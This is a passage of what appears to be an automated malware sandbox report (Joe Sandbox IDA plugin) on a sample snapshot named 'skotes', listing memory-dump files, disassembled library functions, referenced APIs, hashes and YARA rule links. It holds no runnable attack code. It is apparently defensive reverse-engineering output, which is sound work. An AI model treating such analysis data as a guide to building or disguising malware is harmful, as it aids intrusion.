Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: eddc0219504d18c51e9b11eabaa38fae5d91a305ad299a655e183917c369c655
Instruction ID: 60be9eb9f2b8d30870a09d56a59cd727da6bacf3bfc4c823fa17d0b08779b502
Opcode Fuzzy Hash: eddc0219504d18c51e9b11eabaa38fae5d91a305ad299a655e183917c369c655
Instruction Fuzzy Hash: C2C17671800609EFCF25DFA4D884BEEBBB6BF18315F04415AF8056B202D779DA61CBA1

Function 007B4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 007B4877
___except_validate_context_record.LIBVCRUNTIME ref: 007B487F
_ValidateLocalCookies.LIBCMT ref: 007B4908
__IsNonwritableInCurrentImage.LIBCMT ref: 007B4933
_ValidateLocalCookies.LIBCMT ref: 007B4988

Strings

S9{, xrefs: 007B4925, 007B492E, 007B493F
csm, xrefs: 007B491D

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9{$csm
API String ID: 1170836740-1956548883
Opcode ID: 6506468e595e8c2bca49ec4fe70140e54e07660ca824484da5cc9eb3a83f898a
Instruction ID: bca36072fc9de476b5e836848e9715a131825a498a12e824e1af61c92a740ef0
Opcode Fuzzy Hash: 6506468e595e8c2bca49ec4fe70140e54e07660ca824484da5cc9eb3a83f898a
Instruction Fuzzy Hash: 0741D634A00258EFCF10DF68D889BDEBBB5BF45324F148155E8185B393D739AA12CB91

Function 007A7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 007A73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 007A73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 007A740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 007A7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007A7440

Strings

ppVirtualProcessorRoots, xrefs: 007A7438
count, xrefs: 007A737E

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 4fa878537c74c106f0ae4e99b5f0ed4ee32439f3360b4cc1fba791b846c2adf3
Instruction ID: 49d9141e62f14c805886ef9bf704b7134261c9c1c20e987c0ed5801ba9db83cb
Opcode Fuzzy Hash: 4fa878537c74c106f0ae4e99b5f0ed4ee32439f3360b4cc1fba791b846c2adf3
Instruction Fuzzy Hash: 41217474A00249EFCF18EF58D899AADBBB5FF8A350F544169E90597351DB38AE00CF90

Function 0079EE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0079EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0079EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0079EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0079EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0079EF31

Strings

iy, xrefs: 0079EED0

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: iy
API String ID: 1182035702-1789661967
Opcode ID: 2f48fe8bd9d083e1fccbbf0bf728291f06e1647d3d76f156ab5b0400f9d8234b
Instruction ID: c066ca8b139cacf72a06a382cfa244139c4842e0c12ef431efd9cc83bb34a557
Opcode Fuzzy Hash: 2f48fe8bd9d083e1fccbbf0bf728291f06e1647d3d76f156ab5b0400f9d8234b
Instruction Fuzzy Hash: D6218370C10215DADF78DFA4E8496EEB7F1FF15360F100A2EE051A61D1E7795A44CB51

Function 007A78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 007A7903

Part of subcall function 007A5CB8: __EH_prolog3_catch.LIBCMT ref: 007A5CBF
Part of subcall function 007A5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 007A5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 007A792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 007A7936

Part of subcall function 007A5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 007A5D70
Part of subcall function 007A5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 007A5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 007A7982
Concurrency::location::_Assign.LIBCMT ref: 007A79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 007A79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 007A79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 007A79ED

Part of subcall function 007A691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 007A6942
Part of subcall function 007A691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 007A6965

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 9af66c616a16321ebd9cf97a83ae86bebecd485026ca1819f69eb1048f85309a
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 5A31C331B08255AACF1AAB784C967FFB7B59FC7300F0443AAD495D7242DA2C6D4AC391

Function 007C4C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007C4C98
__alloca_probe_16.LIBCMT ref: 007C4D5E
__freea.LIBCMT ref: 007C4DCA

Part of subcall function 007BB04B: RtlAllocateHeap.NTDLL(00000000,DEE27865,?,?,0079D3FC,DEE27865,?,00797A8B,?,?,?,?,?,?,00787465,?), ref: 007BB07E

__freea.LIBCMT ref: 007C4DD3
__freea.LIBCMT ref: 007C4DF6

Strings

Z{,m{, xrefs: 007C4C26

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
